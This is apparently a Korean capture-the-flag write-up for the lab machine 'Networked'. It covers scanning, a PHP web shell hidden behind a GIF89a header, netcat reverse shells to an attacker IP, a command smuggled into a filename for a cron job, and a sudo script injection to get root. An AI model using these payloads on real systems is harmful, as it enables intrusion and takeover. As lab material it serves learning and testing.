개요
OS | Linux |
Difficulty | Easy |
Points | 20 |
Release | 24 Aug 2019 |
IP Address | 10.10.10.146 |
조사
열려있는 포트와 실행 중인 서비스를 식별하기 위해 주어진 IP
주소를 이용하여 nmap
을 이용한 네트워크 스캔을 수행한다.
attacker$ nmap -A -v -sV --script vuln 10.10.10.146
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-enum:
| /backup/: Backup folder w/ directory listing
| /icons/: Potentially interesting folder w/ directory listing
|_ /uploads/: Potentially interesting folder w/ directory listing
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https
Nmap done: 1 IP address (1 host up) scanned in 63.85 seconds
22번 포트: SSH 서버
80번 포트: Apache 웹 서버
에서 아래 디렉터리들이 발견되었다.
/backup/
/icons/
/uploads/
취약점 조사
http://10.10.10.146/backup 주소로 접속하면 backup
압축파일을 얻을 수 있다.
압축 해제 후 나온 PHP
코드를 분석하였다.
-rw-r--r-- 1 attacker attacker 229 Jul 9 20:33 index.php
-rw-r--r-- 1 attacker attacker 2001 Jul 2 20:38 lib.php
-rw-r--r-- 1 attacker attacker 1871 Jul 2 21:53 photos.php
-rw-r--r-- 1 attacker attacker 1331 Jul 2 21:45 upload.php
소스코드 분석 결과 upload.php에서 업로드 파일 종류를 검증하는 코드에 취약점이 있음을 확인할 수 있다.
PHP Web shell 업로드
upload.php 이미지 업로드 취약점을 토대로 PHP Web shell을 작성한다.
코드 이전에 GIF89a?
를 입력함으로써 이것이 이미지 파일이라고 인식시켜 악성코드를 업로드할 수 있다.
GIF89a?
<?php
system( $_GET[cmd] );
?>
파일 확장자를 .gif
로 변경 후 http://10.10.10.146/upload.php 페이지에서 업로드한다.
웹 권한 탈취
attacker$ nc -lvp 2021
웹 권한의 Shell을 탈취하기 위해 공격자의 PC에서 nc
를 이용하여 2021
포트를 열고, Web shell이 업로드된 URL
에 GET
요청으로 cmd
파라미터에 Reverse Shell을 연결하는 명령을 전달한다.
http://10.10.10.146/uploads/10_10_12_226.gif?cmd=nc 10.10.12.226 2021 -c bash
Connection from 10.10.10.146:41584
공격자 PC에 Reverse Shell이 연결되었다.
apache$ whoami
apache
apache
권한의 Shell을 탈취하였다.
guly 권한 상승
guly
권한을 탈취하기 위해 /home/guly
디렉터리를 살펴보자.
apache$ ls -al /home/guly
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
check_attack.php, crontab.guly 파일을 추가로 발견하였다.
crontab.guly에 의해 지정된 매 3분마다 check_attack.php가 실행된다.
check_attack.php 코드 분석 결과 /var/www/html/uploads/
디렉터리에 ;
를 포함한 이름의 파일을 생성하면 원하는 명령을 실행할 수 있다.
apache$ echo "" > ./";nc 10.10.12.226 2022 -c bash"
파일 이름이 잘 설정되었는지 확인.
apache$ ls -al
drwxrwxrwx. 2 root root 266 Sep 13 06:38 .
drwxr-xr-x. 4 root root 103 Jul 9 13:30 ..
-rw-r--r-- 1 apache apache 40 Sep 13 06:26 10_10_12_226.php.gif
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_1.png
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_2.png
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_3.png
-rw-r--r--. 1 root root 3915 Oct 30 2018 127_0_0_4.png
-rw-r--r-- 1 apache apache 1 Sep 13 06:38 ;nc 10.10.12.226 2022 -c bash
-r--r--r--. 1 root root 2 Oct 30 2018 index.html
3분 뒤 check_attack.php가 실행되면 공격자 PC의 2022
번 포트로 guly
유저 권한의 Shell이 연결된다.
Connection from 10.10.10.146:36230
guly$ whoami
guly
guly
유저 권한을 탈취하였다.
User flag 확인
guly$ cat user.txt
Root 권한 상승
sudo -l
명령으로 root
권한으로 실행할 수 있는 파일들을 탐색해 보았다.
guly$ sudo -l
Matching Defaults entries for guly on networked:
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
비밀번호 없이 실행할 수 있는 root
권한 파일을 발견하였다.
changename.sh
guly$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
입력된 값이 검증되지 않고 실행되는 취약점을 이용해 root
권한의 Shell을 실행할 수 있다.
guly$ sudo /usr/local/sbin/changename.sh
interface NAME:
asd /bin/bash
interface PROXY_METHOD:
asd
interface BROWSER_ONLY:
asd
interface BOOTPROTO:
asd
root$ whoami
root
root
권한을 탈취하였다.
Root flag 확인
root$ cat /root/root.txt